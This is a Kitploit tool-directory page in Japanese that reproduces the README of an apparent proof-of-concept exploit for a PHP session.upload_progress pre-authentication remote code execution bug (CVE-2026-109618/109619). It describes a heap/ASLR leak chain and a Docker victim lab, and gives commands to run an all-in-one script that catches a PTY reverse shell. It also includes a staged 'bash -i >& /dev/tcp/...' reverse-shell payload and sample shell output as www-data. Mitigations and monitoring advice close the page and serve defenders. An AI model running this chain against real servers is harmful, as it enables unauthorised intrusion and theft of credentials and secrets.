Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

フィードお問い合わせプライバシー© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-109619 — PHPのsession.upload_progress認証前RCE(PHP2Shell)の概念実証エクスプロイト。ヒープ/ASLRリーク、ビルドごとのオフセットプロファイル、オールインワンのリバースシェルハンドラを備える。 | Kitploit
ツール/GitHubGitHub/eqstlab/cve-2026-109619
メモリフォレンジック脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストリモートアクセスツールペイロード開発ラボと実践
GitHubeqstlab/cve-2026-109619

CVE-2026-109619

PHPのsession.upload_progress認証前RCE(PHP2Shell)の概念実証エクスプロイト。ヒープ/ASLRリーク、ビルドごとのオフセットプロファイル、オールインワンのリバースシェルハンドラを備える。

リポジトリを見る
71日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-109618 / CVE-2026-109619 PHP2Shell RCE

★ CVE-2026-109618 / CVE-2026-109619 PHP session.upload_progress 認証前 RCE PoC ★


概要

PHP2Shell (CVE-2026-109618 / CVE-2026-109619) は、Apache mod_php 環境下の PHP における未認証のリモートコード実行脆弱性です。 細工された multipart/form-data リクエストがリクエスト前の session.upload_progress ハンドラでメモリ不足によるベイルアウトを引き起こし、古いポインタが残ることで Set-Cookie 経由で Zend ヒープおよび libphp.so のベースアドレスが漏洩します(ASLR を回避)。さらに、偽造された HashTable がデストラクタを zif_system にリダイレクトし、Web ワーカー(www-data)としてコマンドを実行します。 認証は不要で、脆弱なセッション設定はデフォルトで有効になっています。


影響を受けるバージョン

カテゴリバージョン
脆弱パッチ適用前の PHP 8.2.x / 8.3.x / 8.4.x / 8.5.x
修正済みPHP 8.5.12 · 8.4.27 · 8.3.36 · 8.2.35 以降 (2026-10-21)
検証済み環境公式 php:8.4.26-apache (Debian 13, amd64)

オフセットはビルドごと(バージョン · アーキテクチャ · ディストリビューション)に異なります。この PoC には 8.4.26-apache amd64 用のプロファイルが同梱されています。他のビルドにはそれぞれ専用の profiles/*.json が必要です。


影響

  • Web ワーカーアカウント(www-data)としてのリモートコード実行
  • ドキュメントルート、アプリ設定、DB 認証情報、およびそのアカウントから到達可能なシークレットの完全な読み書き
  • RCE に先立つメモリ漏洩(ヒープ / libphp ポインタ、さらにはセッショントークンや鍵の可能性も)

環境

被害者 = 以下の設定を持つ公式 php:8.4.26-apache。攻撃者は同じ Docker ブリッジ上の別コンテナ (eqst-kali)から実行し、リバースシェルはその IP にコールバックします。

# victim (official image + vulnerable config inlined in the Dockerfile)
docker build --platform linux/amd64 -t p2s-victim .
docker run -d --name p2s-victim --platform linux/amd64 p2s-victim          # default bridge
docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' p2s-victim   # e.g. 172.17.0.2

# attacker (kali) on the same bridge
docker network connect bridge eqst-kali
前提条件このラボでの状態
PHP 8.2–8.5(パッチ適用前)+ Apache mod_phpPHP 8.4.26 / Apache 2.4.69、prefork
session.upload_progress.enabledOn(デフォルト)
session.use_strict_mode0(デフォルト)
display_errorsOn(ステージ1のリークを出力する)
memory_limit128M(デフォルト — 変更なし)
post_max_size / upload_max_filesize > memory_limit(リクエストボディがOOMに到達できるようにする)256M(アップロード対応アプリでは一般的に引き上げられている)
単一のApacheワーカープロセス(古い状態はプロセス単位)1

ホストに関する注意(WSL2): Windows Docker Desktop(WSL2)では、カーネルが libphp を 0x7c... にマッピングします。これは上流のエクスプロイトの 0x7F... ASLRチェックより下であるため、有効なリークを破棄してしまいます。p2s_shell.py はその範囲を自動的に広げます。ネイティブのLinuxホストでは、このパッチは何も行いません。


PoC

p2s_shell.py は単一のプロセスであり、自身のリスナーを開き、上流のエクスプロイトを取得し、ターゲットのPHPバージョンに基づいて profiles/*.json からオフセットを選択し、チェーンをトリガーし、PTYにアップグレードされたリバースシェルを受け取ります(別途 nc は不要)。

PoC/
├── Dockerfile                             # victim image (config inlined)
├── p2s_shell.py                           # all-in-one: fingerprint -> offsets -> trigger -> shell
└── profiles/php-8.4.26-apache-amd64.json  # per-build offsets (system/dtor/htdata)
    (vendor/exploit.py is auto-fetched from upstream at run time; not stored here)

事前に一度だけ必要な準備: リバースシェルのペイロードを被害者のウェブルートに配置します(コマンドキャリアは14バイトであるため、上流の手順に従い、長いペイロードはファイルに格納して bash</w/c 経由で実行します):

KALI=$(docker inspect -f '{{.NetworkSettings.Networks.bridge.IPAddress}}' eqst-kali)
docker exec p2s-victim sh -c "printf 'bash -i >& /dev/tcp/$KALI/4444 0>&1\n' > /w/c"   # /w = web root symlink

攻撃者側からPoCを実行します(パスはスクリプトからの相対パスです):

# interactive PTY shell  (victim IP from the inspect above)
python3 p2s_shell.py -u http://172.17.0.2/index.php

# batch: run commands and print output
python3 p2s_shell.py -u http://172.17.0.2/index.php --run 'id;uname -a'

X-Powered-By: PHP/8.4.26 をフィンガープリントし、一致するプロファイルを読み込み、シェルを取得します:

[*] profile php-8.4.26-apache-amd64.json: PHP 8.4.26/amd64 system=0x465370 dtor=0x65eb60 htdata=0x690D8
[*] listening on 0.0.0.0:4444
[*] triggering exploit: bash</w/c  (offsets from JSON profile)
[+] reverse shell from 172.17.0.2:54620
www-data@victim:/var/www/html$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

オプション:

  • --run 'c1;c2' — バッチモード(対話型ターミナル不要)
  • --no-pty — PTYへのアップグレードを行わず、プレーンなダムシェルのままにする
  • --php-version / --arch — X-Powered-By が隠されている場合にターゲットビルドを上書きする
  • --lport — リバースシェルのポート(/w/c に埋め込まれたポートと一致させる必要あり、デフォルト 4444)

緩和策

  • PHPを 8.5.12 / 8.4.27 / 8.3.36 / 8.2.35 以降にアップグレードする(唯一の完全な修正);アップグレード後はワーカーを再起動する
  • アップロード進捗を使用しない場合は session.upload_progress.enabled = Off を設定する
  • 本番環境では display_errors = Off を設定する(同梱のステージ1リークを防ぐ)
  • PHPを非特権ユーザーで実行し、ドキュメントルートを読み取り専用にする;エッジで大きなmultipartボディのレート制限を行う
  • 約1000フィールドのmultipartリクエスト、非常に大きなボディ、繰り返し発生するOOM/500、Apache子プロセスのクラッシュ、zend_mm_heap corrupted のログ行を監視する

分析

  • KR:
  • EN:
ツールをダウンロード